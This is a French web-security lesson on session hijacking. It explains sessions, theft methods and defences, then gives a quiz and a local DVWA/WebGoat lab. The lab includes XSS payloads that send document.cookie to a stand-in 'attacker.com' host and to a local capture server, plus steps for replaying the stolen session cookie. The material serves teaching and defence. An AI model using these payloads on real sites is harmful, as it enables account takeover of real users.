Aller au contenu principal

Vol de session

Comprendre comment un attaquant peut voler une session utilisateur et comment s’en protéger

Notions théoriques​

Le vol de session, aussi appelé session hijacking, est une attaque où un individu malveillant prend le contrôle de la session d’un utilisateur légitime.

attention

Le vol de session permet à l’attaquant, sur un site Web, d’agir à la place de la victime.

L’attaquant peut ainsi :

  • accéder à des informations sensibles,
  • effectuer des transactions non autorisées
  • ou compromettre la sécurité de l’application.

Qu’est-ce qu’une session ?​

Une session est un mécanisme utilisé par les serveurs Web pour suivre l’état d’un utilisateur entre plusieurs requêtes HTTP. Comme HTTP est un protocole sans état, les sessions permettent de savoir si un utilisateur est connecté, ce qu’il a dans son panier, etc.

Les sessions sont souvent identifiées par un jeton de session (session ID) stocké :

  • dans un cookie,
  • dans l’URL (rare et risqué),
  • ou dans le localStorage côté client.

Comment un attaquant peut-il voler une session ?​

Voici les méthodes les plus courantes :

  • Vol de cookie : si le cookie n’est pas sécurisé (pas en HTTPS ou pas en HttpOnly), un script malveillant peut le lire.
  • XSS (Cross-Site Scripting) : une faille XSS permet à un attaquant d’injecter du JavaScript dans la page et de voler le cookie de session.
  • Interception réseau : sur un réseau Wi-Fi non sécurisé, un attaquant peut intercepter les requêtes HTTP et récupérer les cookies.
  • Session fixation : l’attaquant force l’utilisateur à utiliser un identifiant de session choisi à l’avance.
  • Rejeu de session : l’attaquant réutilise un ancien jeton de session encore valide.

Conséquences du vol de session​

  • L’attaquant peut accéder à des informations personnelles,
  • Il peut effectuer des actions à la place de l’utilisateur (achats, modifications de données, etc.),
  • Il peut compromettre la sécurité globale du système.

Comment se protéger contre le vol de session ?​

  1. Utiliser HTTPS partout pour chiffrer les communications.
  2. Configurer les cookies avec les attributs Secure, HttpOnly et SameSite.
  3. Limiter la durée de vie des sessions.
  4. Changer l’ID de session après authentification.
  5. Détecter les comportements suspects (ex. : changement d’adresse IP).
  6. Empêcher les attaques XSS via l’échappement des entrées utilisateur.
  7. Utiliser des en-têtes de sécurité comme Content-Security-Policy.
Set-Cookie: sessionId=abc123; Secure; HttpOnly; SameSite=Strict

Ce cookie :

  • n’est transmis qu’en HTTPS (Secure),
  • n’est pas accessible en JavaScript (HttpOnly),
  • n’est pas envoyé sur des sites tiers (SameSite=Strict).

Exemple pratique​

Il est possible de simuler une attaque de vol de session sur une application Web vulnérable à XSS.

Contexte​

Une application Web simple en PHP affiche le nom de l’utilisateur connecté sans échapper les caractères HTML.

Cela permet à un attaquant d’injecter du JavaScript.

Étapes​

  1. Télécharger l’application vulnérable depuis :
    https://github.com/Webgoat/WebGoat

  2. Lancer l’application localement avec Docker :

    docker run -d -p 8080:8080 Webgoat/Webgoat

  3. Accéder à l’application sur http://localhost:8080/WebGoat

  4. Naviguer vers le module "XSS" et injecter le code suivant :

    <script>fetch('https://attacker.com/steal?cookie=' + document.cookie)</script>

  5. Observer que le cookie de session est envoyé à un serveur externe contrôlé par l’attaquant.

  6. Utiliser ce cookie dans une nouvelle session pour se faire passer pour la victime.

Test de mémorisation/compréhension​


Quel est le but principal d'une session Web ?


Quel attribut empêche JavaScript d'accéder à un cookie ?


Quel protocole doit être utilisé pour éviter l'interception de cookie ?


Quel type de faille permet d'injecter du JavaScript dans une page ?


Quelle méthode permet de voler un cookie via une faille XSS ?


Quel attribut empêche l'envoi d'un cookie sur un site tiers ?


Quelle est une bonne pratique après la connexion d'un utilisateur ?


Quel outil permet de simuler une attaque de vol de session ?


Quel en-tête HTTP peut aider à prévenir les attaques XSS ?


Quelle technique est utilisée dans une attaque de session fixation ?


TP pour réfléchir et résoudre des problèmes​

Objectif du TP​

Mettre en œuvre une attaque de vol de session dans un environnement local sécurisé, en exploitant une vulnérabilité XSS dans une application PHP vulnérable.

L’objectif est d’observer le vol de cookie de session, puis de l’utiliser pour se connecter à la place de la victime.

Étape 1 — Télécharger et installer DVWA (Damn Vulnerable Web Application)​

  1. Cloner le dépôt officiel de DVWA :

    git clone https://github.com/digininja/DVWA.git
    cd DVWA

  2. Lancer l’environnement avec Docker :

    docker-compose up -d

  3. Accéder à l’application sur http://localhost:8080

info

Le dépôt DVWA est disponible ici : https://github.com/digininja/DVWA
Le fichier docker-compose.yml fourni permet de lancer un environnement Apache + MySQL + PHP prêt à l’emploi.
Une fois lancé, l’interface Web est disponible à l’adresse http://localhost:8080
Il faut initialiser la base de données via l’interface en cliquant sur "Create / Reset Database".

Étape 2 — Configurer DVWA pour activer la vulnérabilité XSS​

  1. Se connecter avec l’utilisateur par défaut :

    • Nom d’utilisateur : admin
    • Mot de passe : password

  2. Aller dans l’onglet "DVWA Security"

  3. Régler le niveau de sécurité sur Low

info

DVWA propose plusieurs niveaux de sécurité : Low, Medium, High, et Impossible.
Dans ce TP, il faut sélectionner "Low" pour que les protections XSS soient désactivées.
Cela permet d’injecter du JavaScript librement dans les champs vulnérables.

Étape 3 — Identifier une faille XSS dans le module "XSS (Reflected)"​

  1. Aller dans le menu de gauche, cliquer sur "XSS (Reflected)"
  2. Dans le champ "Name", entrer le code suivant : 
    <script>alert('Test')</script>
  3. Cliquer sur "Submit"
info

Ce champ est vulnérable à une injection JavaScript de type XSS réfléchi.
Lorsqu’on soumet le formulaire, le message alert('Test') s’affiche, ce qui prouve que le script est exécuté par le navigateur.
Cela signifie que le champ n’est pas échappé côté serveur.

Étape 4 — Voler le cookie de session d’un utilisateur​

  1. Modifier le script injecté pour envoyer le cookie à un faux serveur :

    <script>fetch('http://localhost:9000/log?c=' + document.cookie)</script>

  2. Lancer un serveur HTTP local pour capturer les requêtes :

    python3 -m http.server 9000

  3. Ouvrir un deuxième navigateur ou une session privée, se connecter avec un autre utilisateur, puis visiter l’URL contenant le script.

info

Le script injecté utilise fetch() pour envoyer le contenu de document.cookie à un faux serveur local sur le port 9000.
Le serveur Python écoute sur ce port et affiche les requêtes reçues dans la console.
Lorsqu’un utilisateur visite la page contenant le script, son cookie est envoyé à l’attaquant via une requête HTTP GET.
Exemple de requête reçue :

GET /log?c=PHPSESSID=abc123xyz HTTP/1.1

Étape 5 — Réutiliser le cookie volé pour se faire passer pour la victime​

  1. Copier le cookie de session volé (ex. : PHPSESSID=abc123xyz)
  2. Dans un nouveau navigateur, ouvrir les outils de développement (F12)
  3. Aller dans l’onglet "Storage" (ou "Application" > Cookies)
  4. Modifier le cookie de session pour y coller la valeur volée
  5. Recharger la page DVWA
info

Dans les outils de développement, il est possible de modifier manuellement les cookies.
Il faut remplacer la valeur de PHPSESSID par celle récupérée à l’étape précédente.
Après rechargement de la page, l’attaquant est connecté en tant que la victime.
Cela démontre que le cookie de session suffit à usurper une identité si aucun autre mécanisme de sécurité ne protège la session.

Étape 6 — Appliquer des protections contre le vol de session​

  1. Modifier la configuration PHP pour activer session.cookie_httponly = 1
  2. Activer session.cookie_secure = 1 (si HTTPS est utilisé)
  3. Ajouter un en-tête Content-Security-Policy pour bloquer les scripts externes : 
    Content-Security-Policy: default-src 'self'
info

Ces protections permettent de réduire les risques :

  • HttpOnly empêche JavaScript d’accéder au cookie.
  • Secure empêche l’envoi du cookie en HTTP (non chiffré).
  • Content-Security-Policy bloque l’exécution de scripts non autorisés.

Ces mécanismes doivent être combinés à une bonne gestion des sessions (expiration, rotation de token, etc.)